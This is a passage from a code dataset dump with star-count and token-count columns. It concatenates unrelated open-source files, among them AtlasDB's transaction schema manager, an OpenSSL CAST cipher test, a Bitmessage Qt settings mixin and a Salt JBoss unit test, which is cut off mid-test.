max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
862 | <reponame>palantir/atlasdb<gh_stars>100-1000
/*
* (c) Copyright 2018 Palantir Technologies Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.palantir.atlasdb.internalschema;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.Iterables;
import com.google.common.collect.Range;
import com.palantir.atlasdb.AtlasDbConstants;
import com.palantir.atlasdb.coordination.CoordinationService;
import com.palantir.atlasdb.coordination.ValueAndBound;
import com.palantir.atlasdb.keyvalue.impl.CheckAndSetResult;
import com.palantir.common.concurrent.CoalescingSupplier;
import com.palantir.logsafe.SafeArg;
import com.palantir.logsafe.exceptions.SafeIllegalStateException;
import com.palantir.logsafe.logger.SafeLogger;
import com.palantir.logsafe.logger.SafeLoggerFactory;
import java.util.List;
import java.util.Map;
import java.util.Optional;
public class TransactionSchemaManager {
private static final SafeLogger log = SafeLoggerFactory.get(TransactionSchemaManager.class);
private final CoordinationService<InternalSchemaMetadata> coordinationService;
private final CoalescingSupplier<List<ValueAndBound<InternalSchemaMetadata>>> boundPerpetuator;
public TransactionSchemaManager(CoordinationService<InternalSchemaMetadata> coordinationService) {
this.coordinationService = coordinationService;
this.boundPerpetuator =
new CoalescingSupplier<>(() -> tryPerpetuateExistingState().existingValues());
}
/**
* Returns the version of the transactions schema associated with the provided timestamp.
*
* This method may perpetuate the existing state one or more times to achieve consensus. It will repeatedly
* attempt to perpetuate the existing state until a consensus for the provided timestamp argument is achieved.
*
* This method should only be called with timestamps that have already been given out by the timestamp service;
* otherwise, achieving a consensus may take a long time.
*/
public int getTransactionsSchemaVersion(long timestamp) {
if (timestamp < AtlasDbConstants.STARTING_TS) {
throw new SafeIllegalStateException(
"Query attempted for timestamp {} which was never given out by the"
+ " timestamp service, as timestamps start at {}",
SafeArg.of("queriedTimestamp", timestamp),
SafeArg.of("startOfTime", AtlasDbConstants.STARTING_TS));
}
Optional<Integer> possibleVersion =
extractTimestampVersion(coordinationService.getValueForTimestamp(timestamp), timestamp);
while (!possibleVersion.isPresent()) {
List<ValueAndBound<InternalSchemaMetadata>> existingValues = boundPerpetuator.get();
possibleVersion = extractTimestampVersion(
existingValues.stream()
.filter(valueAndBound -> valueAndBound.bound() >= timestamp)
.findAny(),
timestamp);
}
return possibleVersion.get();
}
/**
* Attempts to install a new transactions table schema version, by submitting a relevant transform.
*
* The execution of this method does not guarantee that the provided version will eventually be installed.
* This method returns true if and only if in the map agreed by the coordination service evaluated at the validity
* bound, the transactions schema version is equal to newVersion.
*/
public boolean tryInstallNewTransactionsSchemaVersion(int newVersion) {
CheckAndSetResult<ValueAndBound<InternalSchemaMetadata>> transformResult = tryInstallNewVersion(newVersion);
Map.Entry<Range<Long>, Integer> finalVersion =
getRangeAtBoundThreshold(Iterables.getOnlyElement(transformResult.existingValues()));
long finalVersionTimestampThreshold = finalVersion.getKey().lowerEndpoint();
if (transformResult.successful() && finalVersion.getValue() == newVersion) {
log.debug(
"We attempted to install the transactions schema version {}, and this was successful."
+ " This version will take effect no later than timestamp {}.",
SafeArg.of("newVersion", newVersion),
SafeArg.of("timestamp", finalVersionTimestampThreshold));
return true;
}
if (finalVersion.getValue() == newVersion) {
log.info(
"We attempted to install the the transactions schema version {}. We failed, but this version"
+ " will eventually be utilised anyway, taking effect no later than timestamp {}.",
SafeArg.of("newVersion", newVersion),
SafeArg.of("timestamp", finalVersionTimestampThreshold));
return true;
}
if (transformResult.successful()) {
log.info(
"We attempted to install the transactions schema version {}, but ended up installing {}"
+ " because no version existed.",
SafeArg.of("versionWeTriedToInstall", newVersion),
SafeArg.of("versionWeActuallyInstalled", finalVersion.getValue()));
}
log.info(
"We attempted to install the transactions schema version {}, but failed."
+ " Currently, version {} will eventually be used from timestamp {}.",
SafeArg.of("versionWeTriedToInstall", newVersion),
SafeArg.of("versionThatWillBeUsed", finalVersion.getValue()),
SafeArg.of("timestamp", finalVersionTimestampThreshold));
return false;
}
@VisibleForTesting
Map.Entry<Range<Long>, Integer> getRangeAtBoundThreshold(ValueAndBound<InternalSchemaMetadata> valueAndBound) {
return valueAndBound
.value()
.orElseThrow(() -> new SafeIllegalStateException("Unexpectedly found no value in store"))
.timestampToTransactionsTableSchemaVersion()
.rangeMapView()
.getEntry(valueAndBound.bound());
}
private CheckAndSetResult<ValueAndBound<InternalSchemaMetadata>> tryInstallNewVersion(int newVersion) {
return coordinationService.tryTransformCurrentValue(
valueAndBound -> installNewVersionInMapOrDefault(newVersion, valueAndBound));
}
private InternalSchemaMetadata installNewVersionInMapOrDefault(
int newVersion, ValueAndBound<InternalSchemaMetadata> valueAndBound) {
if (!valueAndBound.value().isPresent()) {
log.warn(
"Attempting to install a new transactions schema version {}, but no past data was found,"
+ " so we attempt to install default instead. This should normally only happen once per"
+ " server, and only on or around first startup since upgrading to a version of AtlasDB"
+ " that is aware of the transactions table. If this message persists, please contact"
+ " support.",
SafeArg.of("newVersion", newVersion));
return InternalSchemaMetadata.defaultValue();
}
log.debug(
"Attempting to install a new transactions schema version {}, on top of schema metadata"
+ " that is valid up till timestamp {}.",
SafeArg.of("newVersion", newVersion),
SafeArg.of("oldDataValidity", valueAndBound.bound()));
InternalSchemaMetadata internalSchemaMetadata = valueAndBound.value().get();
return InternalSchemaMetadata.builder()
.from(internalSchemaMetadata)
.timestampToTransactionsTableSchemaVersion(installNewVersionInMap(
internalSchemaMetadata.timestampToTransactionsTableSchemaVersion(),
valueAndBound.bound() + 1,
newVersion))
.build();
}
private TimestampPartitioningMap<Integer> installNewVersionInMap(
TimestampPartitioningMap<Integer> sourceMap, long bound, int newVersion) {
return sourceMap.copyInstallingNewValue(bound, newVersion);
}
private CheckAndSetResult<ValueAndBound<InternalSchemaMetadata>> tryPerpetuateExistingState() {
return coordinationService.tryTransformCurrentValue(
valueAndBound -> valueAndBound.value().orElseGet(InternalSchemaMetadata::defaultValue));
}
private static Optional<Integer> extractTimestampVersion(
Optional<ValueAndBound<InternalSchemaMetadata>> valueAndBound, long timestamp) {
return valueAndBound
.flatMap(ValueAndBound::value)
.map(InternalSchemaMetadata::timestampToTransactionsTableSchemaVersion)
.map(versionMap -> versionMap.getValueForTimestamp(timestamp));
}
@VisibleForTesting
CoordinationService<InternalSchemaMetadata> getCoordinationService() {
return coordinationService;
}
}
| 3,674 |
2,151 | # Copyright 2018 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import os.path
import sys
PYJSON5_DIR = os.path.join(os.path.dirname(__file__),
'..', '..', '..', '..', 'pyjson5', 'src')
sys.path.insert(0, PYJSON5_DIR)
import json5 # pylint: disable=import-error
class ARIAReader(object):
def __init__(self, json5_file_path):
self._input_files = [json5_file_path]
with open(os.path.abspath(json5_file_path)) as json5_file:
self._data = json5.loads(json5_file.read())
def attributes_list(self):
return {'data': [item[u'name'] for item in self._data['attributes']]}
| 312 |
310 | <filename>gear/software/t/the-window-titler.json
{
"name": "The Window Titler",
"description": "A Firefox extension for setting custom tab/window titles.",
"url": "https://addons.mozilla.org/en-US/firefox/addon/window-titler/"
}
| 81 |
5,878 | <gh_stars>1000+
#include "simdjson.h"
SIMDJSON_PUSH_DISABLE_WARNINGS
SIMDJSON_DISABLE_UNDESIRED_WARNINGS
#include "to_chars.cpp"
#include "from_chars.cpp"
#include "internal/error_tables.cpp"
#include "internal/jsoncharutils_tables.cpp"
#include "internal/numberparsing_tables.cpp"
#include "internal/simdprune_tables.cpp"
#include "implementation.cpp"
#if SIMDJSON_IMPLEMENTATION_ARM64
#include "arm64/implementation.cpp"
#include "arm64/dom_parser_implementation.cpp"
#endif
#if SIMDJSON_IMPLEMENTATION_FALLBACK
#include "fallback/implementation.cpp"
#include "fallback/dom_parser_implementation.cpp"
#endif
#if SIMDJSON_IMPLEMENTATION_HASWELL
#include "haswell/implementation.cpp"
#include "haswell/dom_parser_implementation.cpp"
#endif
#if SIMDJSON_IMPLEMENTATION_PPC64
#include "ppc64/implementation.cpp"
#include "ppc64/dom_parser_implementation.cpp"
#endif
#if SIMDJSON_IMPLEMENTATION_WESTMERE
#include "westmere/implementation.cpp"
#include "westmere/dom_parser_implementation.cpp"
#endif
SIMDJSON_POP_DISABLE_WARNINGS
| 386 |
448 | package org.wlf.filedownloader.file_download.base;
import org.wlf.filedownloader.base.Stoppable;
/**
* DownloadTask interface
*
* @author wlf(Andy)
* @datetime 2016-01-10 00:12 GMT+8
* @email <EMAIL>
* @since 0.3.0
*/
public interface DownloadTask extends Runnable, Stoppable {
/**
* get download url of the task
*
* @return download url
*/
String getUrl();
/**
* set StopFileDownloadTaskListener
*
* @param onStopFileDownloadTaskListener OnStopFileDownloadTaskListener
*/
void setOnStopFileDownloadTaskListener(OnStopFileDownloadTaskListener onStopFileDownloadTaskListener);
/**
* set TaskRunFinishListener
*
* @param onTaskRunFinishListener
*/
void setOnTaskRunFinishListener(OnTaskRunFinishListener onTaskRunFinishListener);
}
| 292 |
678 | <gh_stars>100-1000
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/PhotoLibrary.framework/PhotoLibrary
*/
#import <PhotoLibrary/XXUnknownSuperclass.h>
#import <PhotoLibrary/PhotoLibrary-Structs.h>
@class UIImageView, UIImage, NSArray, UIView;
@interface PLCameraButton : XXUnknownSuperclass {
UIView *_rotationHolder; // 140 = 0x8c
UIImageView *_iconView; // 144 = 0x90
BOOL _lockEnabled; // 148 = 0x94
BOOL _isLandscape; // 149 = 0x95
BOOL _dontDrawDisabled; // 150 = 0x96
UIImage *_cameraIcon; // 152 = 0x98
UIImage *_cameraIconLandscape; // 156 = 0x9c
NSArray *_videoRecordingIcons; // 160 = 0xa0
UIImage *_panoRecordingIcon; // 164 = 0xa4
UIImage *_panoRecordingIconLandscape; // 168 = 0xa8
int _buttonMode; // 172 = 0xac
BOOL _isCapturing; // 176 = 0xb0
int _orientation; // 180 = 0xb4
BOOL _watchingOrientationChanges; // 184 = 0xb8
}
@property(readonly, assign) int orientation; // G=0x4dd95; converted property
// converted property getter: - (int)orientation; // 0x4dd95
- (void)setButtonOrientation:(int)orientation animated:(BOOL)animated; // 0x4da95
- (void)_deviceOrientationChanged:(id)changed; // 0x4da39
- (void)_stopWatchingDeviceOrientationChanges; // 0x4d9ad
- (void)_startWatchingDeviceOrientationChanges; // 0x4d8f9
- (void)setLockEnabled:(BOOL)enabled; // 0x4d8e9
- (void)_setHighlightOnMouseDown:(BOOL)down; // 0x4d8e5
- (void)setEnabled:(BOOL)enabled; // 0x4d839
- (void)setDontShowDisabledState:(BOOL)state; // 0x4d829
- (BOOL)pointInside:(CGPoint)inside withEvent:(id)event; // 0x4d7c9
- (void)setIsCapturing:(BOOL)capturing; // 0x4d55d
- (void)setButtonMode:(int)mode; // 0x4d411
- (void)_loadPanoLandscapeResources; // 0x4d3b1
- (void)_loadPanoResources; // 0x4d351
- (void)_loadVideoResources; // 0x4d2a5
- (void)_loadStillLandscapeResources; // 0x4d245
- (void)_loadStillResources; // 0x4d1e5
- (void)dealloc; // 0x4d10d
- (void)_setIcon:(id)icon; // 0x4d011
- (id)initWithDefaultSize; // 0x4cd69
@end
| 825 |
778 | <reponame>lkusch/Kratos
#ifndef KRATOS_AMGCL_MPI_SOLVE_FUNCTIONS_H
#define KRATOS_AMGCL_MPI_SOLVE_FUNCTIONS_H
#include <boost/property_tree/ptree.hpp>
namespace Kratos
{
void AMGCLSolve(
int block_size,
TrilinosSpace<Epetra_FECrsMatrix, Epetra_FEVector>::MatrixType& rA,
TrilinosSpace<Epetra_FECrsMatrix, Epetra_FEVector>::VectorType& rX,
TrilinosSpace<Epetra_FECrsMatrix, Epetra_FEVector>::VectorType& rB,
TrilinosSpace<Epetra_FECrsMatrix, Epetra_FEVector>::IndexType& rIterationNumber,
double& rResidual,
boost::property_tree::ptree amgclParams,
int verbosity_level,
bool use_gpgpu
);
} // namespace Kratos
#endif
| 301 |
1,144 | <filename>backend/de.metas.adempiere.adempiere/base/src/main/java-gen/org/compiere/model/I_C_Fiscal_Representation.java
package org.compiere.model;
import javax.annotation.Nullable;
import org.adempiere.model.ModelColumn;
/** Generated Interface for C_Fiscal_Representation
* @author metasfresh (generated)
*/
@SuppressWarnings("unused")
public interface I_C_Fiscal_Representation
{
String Table_Name = "C_Fiscal_Representation";
// /** AD_Table_ID=541641 */
// int Table_ID = org.compiere.model.MTable.getTable_ID(Table_Name);
/**
* Get Client.
* Client/Tenant for this installation.
*
* <br>Type: TableDir
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getAD_Client_ID();
String COLUMNNAME_AD_Client_ID = "AD_Client_ID";
/**
* Set Organisation.
* Organisational entity within client
*
* <br>Type: Search
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setAD_Org_ID (int AD_Org_ID);
/**
* Get Organisation.
* Organisational entity within client
*
* <br>Type: Search
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getAD_Org_ID();
String COLUMNNAME_AD_Org_ID = "AD_Org_ID";
/**
* Set Location.
*
* <br>Type: TableDir
* <br>Mandatory: false
* <br>Virtual Column: false
*/
void setC_BPartner_Location_ID (int C_BPartner_Location_ID);
/**
* Get Location.
*
* <br>Type: TableDir
* <br>Mandatory: false
* <br>Virtual Column: false
*/
int getC_BPartner_Location_ID();
String COLUMNNAME_C_BPartner_Location_ID = "C_BPartner_Location_ID";
/**
* Set Represented by.
*
* <br>Type: Search
* <br>Mandatory: false
* <br>Virtual Column: false
*/
void setC_BPartner_Representative_ID (int C_BPartner_Representative_ID);
/**
* Get Represented by.
*
* <br>Type: Search
* <br>Mandatory: false
* <br>Virtual Column: false
*/
int getC_BPartner_Representative_ID();
String COLUMNNAME_C_BPartner_Representative_ID = "C_BPartner_Representative_ID";
/**
* Set Fiscal Representation.
*
* <br>Type: ID
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setC_Fiscal_Representation_ID (int C_Fiscal_Representation_ID);
/**
* Get Fiscal Representation.
*
* <br>Type: ID
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getC_Fiscal_Representation_ID();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_C_Fiscal_Representation_ID = new ModelColumn<>(I_C_Fiscal_Representation.class, "C_Fiscal_Representation_ID", null);
String COLUMNNAME_C_Fiscal_Representation_ID = "C_Fiscal_Representation_ID";
/**
* Get Created.
* Date this record was created
*
* <br>Type: DateTime
* <br>Mandatory: true
* <br>Virtual Column: false
*/
java.sql.Timestamp getCreated();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_Created = new ModelColumn<>(I_C_Fiscal_Representation.class, "Created", null);
String COLUMNNAME_Created = "Created";
/**
* Get Created By.
* User who created this records
*
* <br>Type: Table
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getCreatedBy();
String COLUMNNAME_CreatedBy = "CreatedBy";
/**
* Set Active.
* The record is active in the system
*
* <br>Type: YesNo
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setIsActive (boolean IsActive);
/**
* Get Active.
* The record is active in the system
*
* <br>Type: YesNo
* <br>Mandatory: true
* <br>Virtual Column: false
*/
boolean isActive();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_IsActive = new ModelColumn<>(I_C_Fiscal_Representation.class, "IsActive", null);
String COLUMNNAME_IsActive = "IsActive";
/**
* Set Tax ID.
* Tax Identification
*
* <br>Type: String
* <br>Mandatory: false
* <br>Virtual Column: false
*/
void setTaxID (@Nullable java.lang.String TaxID);
/**
* Get Tax ID.
* Tax Identification
*
* <br>Type: String
* <br>Mandatory: false
* <br>Virtual Column: false
*/
@Nullable java.lang.String getTaxID();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_TaxID = new ModelColumn<>(I_C_Fiscal_Representation.class, "TaxID", null);
String COLUMNNAME_TaxID = "TaxID";
/**
* Set To.
* Receiving Country
*
* <br>Type: Search
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setTo_Country_ID (int To_Country_ID);
/**
* Get To.
* Receiving Country
*
* <br>Type: Search
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getTo_Country_ID();
org.compiere.model.I_C_Country getTo_Country();
void setTo_Country(org.compiere.model.I_C_Country To_Country);
ModelColumn<I_C_Fiscal_Representation, org.compiere.model.I_C_Country> COLUMN_To_Country_ID = new ModelColumn<>(I_C_Fiscal_Representation.class, "To_Country_ID", org.compiere.model.I_C_Country.class);
String COLUMNNAME_To_Country_ID = "To_Country_ID";
/**
* Get Updated.
* Date this record was updated
*
* <br>Type: DateTime
* <br>Mandatory: true
* <br>Virtual Column: false
*/
java.sql.Timestamp getUpdated();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_Updated = new ModelColumn<>(I_C_Fiscal_Representation.class, "Updated", null);
String COLUMNNAME_Updated = "Updated";
/**
* Get Updated By.
* User who updated this records
*
* <br>Type: Table
* <br>Mandatory: true
* <br>Virtual Column: false
*/
int getUpdatedBy();
String COLUMNNAME_UpdatedBy = "UpdatedBy";
/**
* Set Valid From.
*
* <br>Type: Date
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setValidFrom (java.sql.Timestamp ValidFrom);
/**
* Get Valid From.
*
* <br>Type: Date
* <br>Mandatory: true
* <br>Virtual Column: false
*/
java.sql.Timestamp getValidFrom();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_ValidFrom = new ModelColumn<>(I_C_Fiscal_Representation.class, "ValidFrom", null);
String COLUMNNAME_ValidFrom = "ValidFrom";
/**
* Set Valid to.
* Valid to including this date (last day)
*
* <br>Type: Date
* <br>Mandatory: false
* <br>Virtual Column: false
*/
void setValidTo (@Nullable java.sql.Timestamp ValidTo);
/**
* Get Valid to.
* Valid to including this date (last day)
*
* <br>Type: Date
* <br>Mandatory: false
* <br>Virtual Column: false
*/
@Nullable java.sql.Timestamp getValidTo();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_ValidTo = new ModelColumn<>(I_C_Fiscal_Representation.class, "ValidTo", null);
String COLUMNNAME_ValidTo = "ValidTo";
/**
* Set VAT ID.
*
* <br>Type: String
* <br>Mandatory: true
* <br>Virtual Column: false
*/
void setVATaxID (java.lang.String VATaxID);
/**
* Get VAT ID.
*
* <br>Type: String
* <br>Mandatory: true
* <br>Virtual Column: false
*/
java.lang.String getVATaxID();
ModelColumn<I_C_Fiscal_Representation, Object> COLUMN_VATaxID = new ModelColumn<>(I_C_Fiscal_Representation.class, "VATaxID", null);
String COLUMNNAME_VATaxID = "VATaxID";
}
| 2,609 |
1,167 | <gh_stars>1000+
/*
* Copyright 1995-2017 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/opensslconf.h> /* To see if OPENSSL_NO_CAST is defined */
#include "internal/nelem.h"
#include "testutil.h"
#ifndef OPENSSL_NO_CAST
# include <openssl/cast.h>
static unsigned char k[16] = {
0x01, 0x23, 0x45, 0x67, 0x12, 0x34, 0x56, 0x78,
0x23, 0x45, 0x67, 0x89, 0x34, 0x56, 0x78, 0x9A
};
static unsigned char in[8] =
{ 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF };
static int k_len[3] = { 16, 10, 5 };
static unsigned char c[3][8] = {
{0x23, 0x8B, 0x4F, 0xE5, 0x84, 0x7E, 0x44, 0xB2},
{0xEB, 0x6A, 0x71, 0x1A, 0x2C, 0x02, 0x27, 0x1B},
{0x7A, 0xC8, 0x16, 0xD1, 0x6E, 0x9B, 0x30, 0x2E},
};
static unsigned char in_a[16] = {
0x01, 0x23, 0x45, 0x67, 0x12, 0x34, 0x56, 0x78,
0x23, 0x45, 0x67, 0x89, 0x34, 0x56, 0x78, 0x9A
};
static unsigned char in_b[16] = {
0x01, 0x23, 0x45, 0x67, 0x12, 0x34, 0x56, 0x78,
0x23, 0x45, 0x67, 0x89, 0x34, 0x56, 0x78, 0x9A
};
static unsigned char c_a[16] = {
0xEE, 0xA9, 0xD0, 0xA2, 0x49, 0xFD, 0x3B, 0xA6,
0xB3, 0x43, 0x6F, 0xB8, 0x9D, 0x6D, 0xCA, 0x92
};
static unsigned char c_b[16] = {
0xB2, 0xC9, 0x5E, 0xB0, 0x0C, 0x31, 0xAD, 0x71,
0x80, 0xAC, 0x05, 0xB8, 0xE8, 0x3D, 0x69, 0x6E
};
static int cast_test_vector(int z)
{
int testresult = 1;
CAST_KEY key;
unsigned char out[80];
CAST_set_key(&key, k_len[z], k);
CAST_ecb_encrypt(in, out, &key, CAST_ENCRYPT);
if (!TEST_mem_eq(out, sizeof(c[z]), c[z], sizeof(c[z]))) {
TEST_info("CAST_ENCRYPT iteration %d failed (len=%d)", z, k_len[z]);
testresult = 0;
}
CAST_ecb_encrypt(out, out, &key, CAST_DECRYPT);
if (!TEST_mem_eq(out, sizeof(in), in, sizeof(in))) {
TEST_info("CAST_DECRYPT iteration %d failed (len=%d)", z, k_len[z]);
testresult = 0;
}
return testresult;
}
static int cast_test_iterations(void)
{
long l;
int testresult = 1;
CAST_KEY key, key_b;
unsigned char out_a[16], out_b[16];
memcpy(out_a, in_a, sizeof(in_a));
memcpy(out_b, in_b, sizeof(in_b));
for (l = 0; l < 1000000L; l++) {
CAST_set_key(&key_b, 16, out_b);
CAST_ecb_encrypt(&(out_a[0]), &(out_a[0]), &key_b, CAST_ENCRYPT);
CAST_ecb_encrypt(&(out_a[8]), &(out_a[8]), &key_b, CAST_ENCRYPT);
CAST_set_key(&key, 16, out_a);
CAST_ecb_encrypt(&(out_b[0]), &(out_b[0]), &key, CAST_ENCRYPT);
CAST_ecb_encrypt(&(out_b[8]), &(out_b[8]), &key, CAST_ENCRYPT);
}
if (!TEST_mem_eq(out_a, sizeof(c_a), c_a, sizeof(c_a))
|| !TEST_mem_eq(out_b, sizeof(c_b), c_b, sizeof(c_b)))
testresult = 0;
return testresult;
}
#endif
int setup_tests(void)
{
#ifndef OPENSSL_NO_CAST
ADD_ALL_TESTS(cast_test_vector, OSSL_NELEM(k_len));
ADD_TEST(cast_test_iterations);
#endif
return 1;
}
| 1,679 |
1,583 | <filename>src/bitmessageqt/settingsmixin.py
#!/usr/bin/python2.7
"""
src/settingsmixin.py
====================
"""
from PyQt4 import QtCore, QtGui
class SettingsMixin(object):
"""Mixin for adding geometry and state saving between restarts."""
def warnIfNoObjectName(self):
"""
Handle objects which don't have a name. Currently it ignores them. Objects without a name can't have their
state/geometry saved as they don't have an identifier.
"""
if self.objectName() == "":
# .. todo:: logger
pass
def writeState(self, source):
"""Save object state (e.g. relative position of a splitter)"""
self.warnIfNoObjectName()
settings = QtCore.QSettings()
settings.beginGroup(self.objectName())
settings.setValue("state", source.saveState())
settings.endGroup()
def writeGeometry(self, source):
"""Save object geometry (e.g. window size and position)"""
self.warnIfNoObjectName()
settings = QtCore.QSettings()
settings.beginGroup(self.objectName())
settings.setValue("geometry", source.saveGeometry())
settings.endGroup()
def readGeometry(self, target):
"""Load object geometry"""
self.warnIfNoObjectName()
settings = QtCore.QSettings()
try:
geom = settings.value("/".join([str(self.objectName()), "geometry"]))
target.restoreGeometry(geom.toByteArray() if hasattr(geom, 'toByteArray') else geom)
except Exception:
pass
def readState(self, target):
"""Load object state"""
self.warnIfNoObjectName()
settings = QtCore.QSettings()
try:
state = settings.value("/".join([str(self.objectName()), "state"]))
target.restoreState(state.toByteArray() if hasattr(state, 'toByteArray') else state)
except Exception:
pass
class SMainWindow(QtGui.QMainWindow, SettingsMixin):
"""Main window with Settings functionality."""
def loadSettings(self):
"""Load main window settings."""
self.readGeometry(self)
self.readState(self)
def saveSettings(self):
"""Save main window settings"""
self.writeState(self)
self.writeGeometry(self)
class STableWidget(QtGui.QTableWidget, SettingsMixin):
"""Table widget with Settings functionality"""
# pylint: disable=too-many-ancestors
def loadSettings(self):
"""Load table settings."""
self.readState(self.horizontalHeader())
def saveSettings(self):
"""Save table settings."""
self.writeState(self.horizontalHeader())
class SSplitter(QtGui.QSplitter, SettingsMixin):
"""Splitter with Settings functionality."""
def loadSettings(self):
"""Load splitter settings"""
self.readState(self)
def saveSettings(self):
"""Save splitter settings."""
self.writeState(self)
class STreeWidget(QtGui.QTreeWidget, SettingsMixin):
"""Tree widget with settings functionality."""
# pylint: disable=too-many-ancestors
def loadSettings(self):
"""Load tree settings."""
# recurse children
# self.readState(self)
pass
def saveSettings(self):
"""Save tree settings"""
# recurse children
# self.writeState(self)
pass
| 1,347 |
14,668 | <gh_stars>1000+
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/containers/fixed_flat_set.h"
#include "base/ranges/algorithm.h"
#include "base/strings/string_piece.h"
#include "base/test/gtest_util.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace base {
TEST(FixedFlatSetTest, MakeFixedFlatSet_SortedInput) {
constexpr auto kSet = MakeFixedFlatSet<int>({1, 2, 3, 4});
static_assert(ranges::is_sorted(kSet), "Error: Set is not sorted.");
static_assert(ranges::adjacent_find(kSet) == kSet.end(),
"Error: Set contains repeated elements.");
EXPECT_THAT(kSet, ::testing::ElementsAre(1, 2, 3, 4));
}
TEST(FixedFlatSetTest, MakeFixedFlatSet_UnsortedInput) {
constexpr auto kSet = MakeFixedFlatSet<StringPiece>({"foo", "bar", "baz"});
static_assert(ranges::is_sorted(kSet), "Error: Set is not sorted.");
static_assert(ranges::adjacent_find(kSet) == kSet.end(),
"Error: Set contains repeated elements.");
EXPECT_THAT(kSet, ::testing::ElementsAre("bar", "baz", "foo"));
}
// Verifies that passing repeated keys to MakeFixedFlatSet results in a CHECK
// failure.
TEST(FixedFlatSetTest, RepeatedKeys) {
EXPECT_CHECK_DEATH(MakeFixedFlatSet<int>({1, 2, 3, 1}));
}
} // namespace base
| 536 |
9,425 | import salt.modules.jboss7 as jboss7
from salt.utils.odict import OrderedDict
from tests.support.mixins import LoaderModuleMockMixin
from tests.support.mock import MagicMock
from tests.support.unit import TestCase
class JBoss7TestCase(TestCase, LoaderModuleMockMixin):
jboss_config = {}
org_run_operation = None
def setup_loader_modules(self):
self.org_run_operation = MagicMock()
self.addCleanup(delattr, self, "org_run_operation")
return {
jboss7: {"__salt__": {"jboss7_cli.run_operation": self.org_run_operation}}
}
def test_create_simple_binding(self):
jboss7.create_simple_binding(self.jboss_config, "java:global/env", "DEV")
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=naming/binding="java:global/env":add(binding-type=simple,'
' value="DEV")',
)
def test_create_simple_binding_with_backslash(self):
jboss7.create_simple_binding(self.jboss_config, "java:global/env", r"DEV\2")
self.org_run_operation.assert_called_with(
self.jboss_config,
r'/subsystem=naming/binding="java:global/env":add(binding-type=simple,'
r' value="DEV\\\\2")',
)
def test_update_binding(self):
jboss7.update_simple_binding(self.jboss_config, "java:global/env", "INT")
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=naming/binding="java:global/env":write-attribute(name=value,'
' value="INT")',
)
def test_update_binding_with_backslash(self):
jboss7.update_simple_binding(self.jboss_config, "java:global/env", r"INT\2")
self.org_run_operation.assert_called_with(
self.jboss_config,
r'/subsystem=naming/binding="java:global/env":write-attribute(name=value,'
r' value="INT\\\\2")',
)
def test_read_binding(self):
def cli_command_response(jboss_config, cli_command):
if (
cli_command
== '/subsystem=naming/binding="java:global/env":read-resource'
):
return {
"outcome": "success",
"result": {"binding-type": "simple", "value": "DEV"},
}
self.org_run_operation.side_effect = cli_command_response
result = jboss7.read_simple_binding(self.jboss_config, "java:global/env")
self.assertEqual(result["outcome"], "success")
self.assertEqual(result["result"]["value"], "DEV")
def test_create_datasource_all_properties_included(self):
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {
"attributes": {
"driver-name": {"type": "STRING"},
"connection-url": {"type": "STRING"},
"jndi-name": {"type": "STRING"},
"user-name": {"type": "STRING"},
"password": {"type": "STRING"},
}
},
}
self.org_run_operation.side_effect = cli_command_response
datasource_properties = OrderedDict()
datasource_properties["driver-name"] = "mysql"
datasource_properties["connection-url"] = "jdbc:mysql://localhost:3306/app"
datasource_properties["jndi-name"] = "java:jboss/datasources/appDS"
datasource_properties["user-name"] = "app"
datasource_properties["password"] = "<PASSWORD>"
jboss7.create_datasource(self.jboss_config, "appDS", datasource_properties)
self.org_run_operation.assert_called_with(
self.jboss_config,
'/subsystem=datasources/data-source="appDS":add(driver-name="mysql",connection-url="jdbc:mysql://localhost:3306/app",jndi-name="java:jboss/datasources/appDS",user-name="app",password="<PASSWORD>")',
fail_on_error=False,
)
def test_create_datasource_format_boolean_value_when_string(self):
def cli_command_response(jboss_config, cli_command, fail_on_error=False):
if (
cli_command
== '/subsystem=datasources/data-source="appDS":read-resource-description'
):
return {
"outcome": "success",
"result": {"attributes": {"use-ccm": {"type": "BOOLEAN"}}},
}
self.org_run_operation.side_effect = cli_command_response
datasource_properties = OrderedDict()
datasource_properties["use-ccm"] = "true"
